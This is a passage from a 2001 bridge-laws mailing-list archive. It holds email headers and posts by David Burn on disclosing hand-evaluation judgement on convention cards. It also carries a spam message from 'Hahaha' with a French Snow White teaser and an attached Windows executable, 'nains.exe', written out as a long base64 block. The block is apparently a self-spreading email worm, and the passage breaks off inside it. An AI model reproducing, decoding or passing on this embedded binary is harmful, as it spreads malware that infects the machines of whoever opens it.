know this. It has got nothing to do with the issue here, which is the question of how one dislcoses one's methods. > Perhaps it would be best to add to the cc boxes for: > > Tend to upgrade and downgrade raw HCP based on: > Spot cards __, Suit lengths __, Honor combinations __. > (Check all that apply, if you use only raw stupid HCP check here __, then > go take some bridge lessons.) The difficulty is that you are supposed to disclose your methods to your opponents, regardless of their ability. It is simply not good enough to say: "1NT shows 12-14" and expect that to mean "1NT shows a hand that I in my superior wisdom consider to be worth 12-14, irrespective of the number of points I actually hold". There are a lot of players (the vast majority, in fact) who would *not* open A10xx K10xx xx A9x, but who *would* open QJx Jxxx Qxx KQJ. Now, they may not be very good bridge players. But if they see only "12-14" on your convention card, then they have a right to expect that, like them, you will open the latter hand but not the former. If that is not how you would act, then you must tell them this. The price you pay for your superior judgement is the requirement to disclose that it is what you use. Now, you may tell me that there isn't enough space on the convention card to do this, and that may very well be true (though the problem can be overcome with a modicum of ingenuity, and Scott's suggestion above is a sensible one - apart from the final two clauses, of course). But if you are going to "evaluate" certain 11-point hands and certain 15-point hands as "worth" 13 points, then in one way or another, you *must* disclose the fact. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 4 19:01:25 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0481JD25522 for bridge-laws-outgoing; Thu, 4 Jan 2001 19:01:19 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from rhenium (rhenium.btinternet.com [194.73.73.93]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0481Dt25518 for ; Thu, 4 Jan 2001 19:01:14 +1100 (EST) Received: from [213.1.129.151] (helo=pbncomputer) by rhenium with smtp (Exim 3.03 #83) id 14E5Kf-0006gZ-00 for bridge-laws@rgb.anu.edu.au; Thu, 04 Jan 2001 08:01:10 +0000 Message-ID: <002501c07624$86e92360$978101d5@pbncomputer> From: "David Burn" To: References: <200101021604.LAA17526@cfa183.harvard.edu> <00d101c07510$03f52d60$56991e18@san.rr.com> <007401c075a4$37154100$1910f7a5@oemcomputer> Subject: Re: [BLML] Annoyingly irregular Date: Thu, 4 Jan 2001 08:01:19 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > I'm not a grammarian (Craig? David Burn?) but I believe the existing > > language necessarily refers to potentially-influenced calls or plays that > > occur before the TD is called. That makes it compatible with the second > > interpretation, but violates L16A2 and its footnote. > > Marv > > mlfrench@writeme.com I'm sorry - I haven't been watching this closely enough. What was the question? David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 4 19:03:30 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0483OR25537 for bridge-laws-outgoing; Thu, 4 Jan 2001 19:03:24 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from villosa.wanadoo.fr (smtp-abo-1.wanadoo.fr [193.252.19.122]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0483Gt25532 for ; Thu, 4 Jan 2001 19:03:17 +1100 (EST) Date: Thu, 4 Jan 2001 19:03:17 +1100 (EST) Received: from beauvillain (193.249.241.128) by villosa.wanadoo.fr; 4 Jan 2001 09:03:05 +0100 Message-ID: <3a542e423a5b2e82@villosa.wanadoo.fr> (added by villosa.wanadoo.fr) From: Hahaha Subject: [BLML] Les 7 coquir nains MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--VELQRC5QZ8TURO9MJOT2J0TA3CTU3G5A7CP" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----VELQRC5QZ8TURO9MJOT2J0TA3CTU3G5A7CP Content-Type: text/plain; charset="us-ascii" C'etait un jour avant son dix huitieme anniversaire. Les 7 nains, qui avaient aidé 'blanche neige' toutes ces années aprčs qu'elle se soit enfuit de chez sa belle mčre, lui avaient promis une *grosse* surprise. A 5 heures comme toujours, ils sont rentrés du travail. Mais cette fois ils avaient un air coquin... ----VELQRC5QZ8TURO9MJOT2J0TA3CTU3G5A7CP Content-Type: application/octet-stream; name="nains.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="nains.exe" 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 EHMIi1UQ6BkAAACNlfj+///oDgAAAP9F+P9N/HnaYcnCEACQjb14////M8CJB4lHBIlHCIlHDIlH EIlHFIlHGIlHHIlHIIlHJIlHKIlHLIlHMIlHNIlHOIlHPIlHQIlHRIlHSIlHTIlHUIlHVIlHWIlH XIlHYIlHZIlHaIlHbIlHcIlHdIlHeIlHfI2F+P7//+gCAgAAh9vRJ9FXBNFXCNFXDNFXENFXFNFX GNFXHNFXINFXJNFXKNFXLNFXMNFXNNFXONFXPNFXQNFXRNFXSNFXTNFXUNFXVNFXWNFXXNFXYNFX ZNFXaNFXbNFXcNFXdNFXeNFXfOisAQAAjYX4/v//D6MYD4PFAAAAiwKLSgQBBxFPBItCCItKDBFH CBFPDItCEItKFBFHEBFPFItCGItKHBFHGBFPHItCIItKJBFHIBFPJItCKItKLBFHKBFPLItCMItK NBFHMBFPNItCOItKPBFHOBFPPItCQItKRBFHQBFPRItCSItKTBFHSBFPTItCUItKVBFHUBFPVItC WItKXBFHWBFPXItCYItKZBFHYBFPZItCaItKbBFHaBFPbItCcItKdBFHcBFPdItCeItKfBFHeBFP fOjaAAAAh9tLD4nB/v//iweLXwSLTwiLdwyJAolaBIlKCIlyDItHEItfFItPGIt3HIlCEIlaFIlK GIlyHItHIItfJItPKIt3LIlCIIlaJIlKKIlyLItHMItfNItPOIt3PIlCMIlaNIlKOIlyPItHQItf RItPSIt3TIlCQIlaRIlKSIlyTItHUItfVItPWIt3XIlCUIlaVIlKWIlyXItHYItfZItPaIt3bIlC YIlaZIlKaIlybItHcItfdItPeIt3fIlCcIladIlKeIlyfMOH27v/AwAAD6MYcgNLdfjDh9uLdQiL R3yLTnw7wXLwD4c1AgAAi0d4i054O8Fy4A+HJQIAAItHdItOdDvBctAPhxUCAACLR3CLTnA7wXLA D4cFAgAAi0dsi05sO8FysA+H9QEAAItHaItOaDvBcqAPh+UBAACLR2SLTmQ7wXKQD4fVAQAAi0dg i05gO8EPgnz///8Ph8EBAACLR1yLTlw7wQ+CaP///w+HrQEAAItHWItOWDvBD4JU////D4eZAQAA i0dUi05UO8EPgkD///8Ph4UBAACLR1CLTlA7wQ+CLP///w+HcQEAAItHTItOTDvBD4IY////D4dd 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 